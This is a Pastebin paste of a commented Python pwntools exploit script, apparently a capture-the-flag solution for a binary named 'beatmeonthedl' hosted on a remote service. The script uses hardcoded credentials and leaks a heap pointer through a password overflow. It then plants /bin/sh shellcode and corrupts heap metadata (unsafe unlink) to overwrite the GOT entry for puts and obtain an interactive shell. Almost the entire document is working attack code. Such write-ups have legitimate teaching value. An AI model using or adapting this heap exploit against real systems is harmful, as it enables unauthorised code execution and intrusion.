Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.86 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. from pwn import *
  3. context(os="linux", arch="amd64")
  4.  
  5. #p = process("./beatmeonthedl")
  6. p = remote("sploitbox.com", 10001)
  7.  
  8. # Make a menu choice
  9. def menu(choice):
  10. p.recvuntil("| ")
  11. p.sendline(str(choice))
  12.  
  13. # Add a request
  14. def request(data):
  15. menu(1)
  16. p.recvuntil('Request text > ')
  17. p.send(data)
  18.  
  19. # Print requests
  20. def _print():
  21. menu(2)
  22.  
  23. # Delete a request
  24. def delete(req):
  25. menu(3)
  26. p.recvuntil('choice: ')
  27. p.sendline(str(req))
  28.  
  29. # Change a request
  30. def change(req, data):
  31. menu(4)
  32. p.recvuntil('choice: ')
  33. p.sendline(str(req))
  34. p.recvuntil('data: ')
  35. p.send(data)
  36.  
  37. # Exit
  38. def exit():
  39. menu(5)
  40.  
  41. # Credentials are written in plain text in the binary
  42. username = "mcfly"
  43. password = "awesnap"
  44.  
  45. # The general idea for this solution is to write an entry in the GOT that points
  46. # to our shellcode so that the program ends up jumping on it.
  47.  
  48. # We can exploit the overflow on the password input to leak a pointer to the
  49. # heap, which we will need to be able to jump to our shellcode. To achieve this
  50. # we need to write a password with a length of 24 bytes.
  51. fakepass = "A" * 24
  52.  
  53. p.recvuntil("Enter username: ")
  54. p.sendline(username)
  55. p.recv()
  56.  
  57. # Send the wrong password once to leak the pointer to the heap.
  58. p.send(fakepass)
  59. output = p.recvuntil("Enter username: ")
  60.  
  61. # Find our fake password in the output
  62. heap_start = output[output.index(fakepass):]
  63. # Drop the first 24 bytes, which is our fake password.
  64. heap_start = heap_start[24:]
  65. # We expect our pointer to be about 5 bytes long
  66. heap_start = heap_start[:5]
  67.  
  68. # We need to interpret the data we receive correctly to get the right address.
  69. # The 4th byte of the pointer might be a null byte (in which case only the 4th
  70. # character will be a newline). It might also be a newline (in which case the
  71. # 5th character will also be a newline).
  72. if heap_start[3] == "\n" and heap_start[4] != "\n":
  73. heap_start = heap_start[:3] + "\x00" * 5
  74. else:
  75. heap_start = heap_start[:4] + "\x00" * 4
  76.  
  77. # The heap always starts at 0xXXXXXX00, and the first two chunks are used for
  78. # the passwords that we sent. The text for the first request actually starts
  79. # at 0xXXXXXX50, so we change the first byte to 0x50.
  80. shellcode_start = "\x50" + heap_start[1:]
  81.  
  82. # Login correctly this time.
  83. p.sendline(username)
  84. p.recv()
  85. p.send(password)
  86.  
  87. # By writing a request properly, we can get
  88. # `*(a + 0x18) = b` and `*(b + 0x10) = a`
  89. # where a and b are two addresses that we control (fd and bk).
  90.  
  91. # We create all requests first and then set up the exploit.
  92. request("you")
  93. request("just")
  94. request("got")
  95. request("pwned")
  96.  
  97. # We will put our shellcode in the first request
  98. # Part of the shellcode will be overwritten, we need to start the shellcode with
  99. # a jump to get around that.
  100.  
  101. # This is the assembly to jump 0x13 bytes forward.
  102. shellcode = "\xe9\x13\x00\x00\x00"
  103. # Filler
  104. shellcode += "\x90" * 0x13
  105. # Assembly to execute /bin/sh
  106. shellcode += asm(shellcraft.sh())
  107.  
  108. change(0, shellcode)
  109. print("Wrote shellcode")
  110.  
  111. # We want to replace the entry for puts with the address of our shellcode.
  112. # The address of the entry for puts is this:
  113. puts_reloc_address = 0x609958
  114.  
  115. # We need to subtract 0x18 as per the equation.
  116. fd = pack(puts_reloc_address - 0x18)
  117.  
  118. # We want to write the address of our shellcode in the entry for puts.
  119. bk = shellcode_start
  120.  
  121. # Update request #3 to make it look like a free chunk. We also overflow
  122. # on request #4 to change it's prev_inuse bit to 0 (size 0x42) to make it think
  123. # that request #3 is free.
  124. evil_request = fd + bk + "\x00" * 0x20 + pack(0x40) + pack(0x42)
  125.  
  126. change(2, evil_request)
  127. print("Wrote evil request")
  128.  
  129. # Deleting request #4 will trigger a call to consolidate requests #3 and #4,
  130. # which will change the entry for puts with the address of our shellcode.
  131. delete(3)
  132.  
  133. # Puts (and therefore our shellcode) is called immediately after we're done
  134. # deleting a request, so at this point we have a shell.
  135. print("Popping shell :)")
  136. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement